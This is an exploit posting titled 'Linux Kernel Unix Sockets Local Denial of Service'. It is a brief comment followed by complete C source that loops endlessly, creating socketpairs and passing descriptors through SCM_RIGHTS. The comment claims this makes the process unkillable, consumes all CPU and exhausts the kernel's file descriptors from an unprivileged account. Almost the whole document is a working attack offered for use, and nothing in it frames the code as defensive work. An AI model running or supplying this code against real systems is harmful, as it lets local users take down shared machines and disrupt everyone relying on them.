Linux Kernel Unix Sockets Local Denial of Service

                                                /*
Simple kernel attack using socketpair. easy, 100% reproductiblle, works
under guest. no way to protect :(

Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(

See source attached.

Process become in state 'Running' but not killalble via kill -KILL.

eat 100% CPU, eat all available internal  file descriptors  in kernel :(

-- 
Segmentation fault
*/

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));

  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;

  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];

  int target;
  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
        return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);

    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}